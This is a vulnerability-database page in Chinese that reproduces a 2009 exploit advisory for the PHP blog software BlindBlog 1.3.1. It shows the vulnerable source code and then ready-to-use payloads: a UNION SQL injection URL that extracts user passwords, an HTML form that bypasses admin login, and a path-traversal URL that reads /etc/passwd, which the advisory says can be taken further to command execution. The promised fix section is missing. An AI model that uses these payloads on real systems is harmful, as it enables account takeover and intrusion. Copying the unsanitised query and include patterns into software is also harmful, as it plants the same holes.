blindblog 1.3.1 - SQL Injection / Authentication Bypass / Local File Inclusion

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1057527 漏洞类型
发布时间 2009-03-03 更新时间 2009-03-03
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/8141
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
*******   Salvatore "drosophila" Fresta   *******

[+] Application: BlindBlog
[+] Version: 1.3.1
[+] Website: http://sourceforge.net/projects/cbblog/

[+] Bugs: [A] SQL Injection
         [B] Authentication Bypass
         [C] Local File Inclusion

[+] Exploitation: Remote
[+] Date: 03 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: comment.php

All queries are vulnerable.
This bug allows a guest to view username and the
password of a registered user.

$id = (isset($_GET['id']) && $_GET['id'] !='') ?  $_GET['id'] : getlastid();

       $SQL = "SELECT comment,author,contact,date FROM `cblog_comments`
WHERE `pid` = '$id' ORDER BY `cid` DESC";
       $resulted = $db->query($SQL, $querys);
       while ($result = mysql_fetch_assoc($resulted))
               $comments[] = $result;


- [B] Authentication Bypass

[-] Requisites: magic_quotes_gpc = off
[-] File affected: admin.login.php

       $username = $_POST['username'];
       $password = md5($_POST['password']);
       include('./db_config.php');
       $db = new db_stuff;
       $db->connect();
       $result = $db->query("SELECT * FROM `cblog_users` WHERE `username` =
'$username'", $querys);
       if (mysql_num_rows($result) > 1 || mysql_num_rows($result) < 1)
       {
               echo "Incorrect username";
               exit;
       }
       $result = mysql_fetch_assoc($result);
       if ($result['password'] !== $password)
       {
               echo 'Incorrect Password';
               exit;
       }


- [C] Local File Inclusion

[-] Requisites: none
[-] File affected: admin.php

This bug allow an admin to include local files.
It is possible bypass authentication using the
previous bug.
With this bug is possible to execute remote
commands using Apache logs.

...
} else if (isset($_GET['act']) && $_SESSION['is_admin'])
{
       $loc = 'admin.'.$_GET['act'].'.php';
       include('./'.$loc);
}
...


*************************************************

[+] Code


- [A] SQL Injection

http://www.site.com/path/comment.php?id=-1' UNION ALL SELECT
NULL,CONCAT(username, char(58), password),3,4 FROM cblog_users%23


- [B] Authentication Bypass

<html>
       <head>
               <title>BlindBlog 1.3.1 Authentication Bypass Exploit</title>
       </head>
       <body>
               <form
action="http://www.site.com/path/admin/admin.login.php?go=1"
method="POST">
                       <input type="hidden" name="username" value="-1'
UNION ALL SELECT
1,'admin',MD5('expl')#">
                       <input type="hidden" name="password" value="expl">
                       <input type="submit" value="Exploit">
               </form>
       </body>
</html>


- [C] Local File Inclusion

Tested on MAC OSX: /Applications/xampp/xamppfiles/htdocs/cbblog/admin/admin.php

http://www.site.com/path/admin/admin.php?act=/../../../../../../../etc/passwd%00

# milw0rm.com [2009-03-03]